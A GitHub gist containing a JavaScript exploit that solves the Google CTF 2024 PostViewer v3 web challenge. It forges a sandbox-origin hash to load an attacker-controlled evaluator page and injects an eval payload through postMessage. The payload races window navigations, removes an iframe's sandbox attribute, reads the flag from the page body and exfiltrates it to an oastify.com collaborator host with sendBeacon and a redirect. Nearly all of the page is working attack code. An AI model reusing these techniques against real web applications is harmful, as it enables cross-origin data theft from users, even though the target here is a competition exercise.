Skip to content

Instantly share code, notes, and snippets.

@tyage
Last active June 29, 2024 05:16
Show Gist options
  • Save tyage/792e432a84c218e7506835387e45e422 to your computer and use it in GitHub Desktop.
Save tyage/792e432a84c218e7506835387e45e422 to your computer and use it in GitHub Desktop.
Google CTF 2024 PostViewer v3 solver
// Locate this file in https://storage.googleapis.com
const evaluatorHtml = `
<html>
<head>
<meta charset="utf-8">
<title>Evaluator</title>
<script>
onmessage = e => {
if(e.source !== parent) {
throw /not parent/;
};
if(e.data.eval){
eval(e.data.eval);
}
}
onload = () => {
parent.postMessage('loader ready','*');
}
</script>
<style>
body{
padding: 0px;
margin: 0px;
}
iframe{
width: 100vw;
height: 100vh;
border: 0;
}
.spinner {
background: url(https://storage.googleapis.com/gctf-postviewer/spinner.svg) center no-repeat;
}
.spinner iframe{
opacity: 0.2
}
</style>
</head>
<body>
<div id="container" class="spinner"></div>
</body>
</html>
`;
function arrayToBase36(arr) {
return arr
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
.toString(36);
}
async function calculateHash(...strings) {
const encoder = new TextEncoder();
const string = strings.join("");
const hash = await crypto.subtle.digest("SHA-256", encoder.encode(string));
return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50);
}
const flagUrl = 'https://postviewer3-web.2024.ctfcompetition.com/#'
const payload = `
const attack = (win) => {
if (win.frames.length === 0) {
// wait frame
setTimeout(() => attack(win), 10)
return
}
const frame = win.frames[0]
if (frame.frames.length === 0) {
// wait frame
setTimeout(() => attack(win), 10)
return
}
const contentFrame = frame.document.querySelector('iframe')
contentFrame.removeAttribute('sandbox')
contentFrame.src = contentFrame.src
setTimeout(() => {
const flag = contentFrame.contentWindow.document.body.innerHTML
navigator.sendBeacon('https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/', flag)
location = 'https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/?f=' + encodeURIComponent(flag);
}, 100)
}
const sleep = (time) => new Promise(res => setTimeout(res, time))
const alreadyDone = false
const main = async (tag) => {
const win = window.open('https://postviewer3-web.2024.ctfcompetition.com/#', tag, 'width=800,height=800')
await sleep(1000)
for (let i = 0; i < 10; ++i) {
if (alreadyDone) { break }
console.log('#0')
win.location = 'https://postviewer3-web.2024.ctfcompetition.com/#0'
//buffer = new Uint8Array(3e7);
//win.postMessage(buffer, '*', [buffer.buffer]);
await sleep(0)
console.log('#')
win.location = 'https://postviewer3-web.2024.ctfcompetition.com/#'
await sleep(400)
try {
win.frames[0].document
navigator.sendBeacon('https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/win')
attack(win)
alreadyDone = true
break
} catch(e) {
console.log('#reset', win.frames.length)
//navigator.sendBeacon('https://ng7oi479tlg19342m0xo6crkfbl29uxj.oastify.com/lose' + win.frames.length)
win.location = 'https://postviewer3-web.2024.ctfcompetition.com/#'
await sleep(200)
}
}
}
for (let i = 0; i < 15; ++i) {
main(i)
}
`
const sleep = (time) => new Promise(res => setTimeout(res, time))
const main = async () => {
const hash = await calculateHash(evaluatorHtml, 'postviewer', 'https://postviewer3-web.2024.ctfcompetition.com', flagUrl)
const iframe = document.createElement('iframe')
// /x//shim.html -> make PRODUCT empty
iframe.src = `https://sbx-${hash}.postviewer3-web.2024.ctfcompetition.com/x//shim.html?o=${encodeURIComponent(window.origin)}`
document.body.appendChild(iframe)
iframe.addEventListener(
"load",
async () => {
const [body, suffix] = evaluatorHtml.split('https://storage.googleapis.com')
const salt = suffix + 'postviewer' + 'https://postviewer3-web.2024.ctfcompetition.com' + flagUrl
const mimeType = 'text/html'
iframe.contentWindow?.postMessage(
{ body, mimeType, salt },
'*'
)
await sleep(300)
iframe.contentWindow?.postMessage({ eval: payload }, '*')
},
{ once: true }
)
}
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment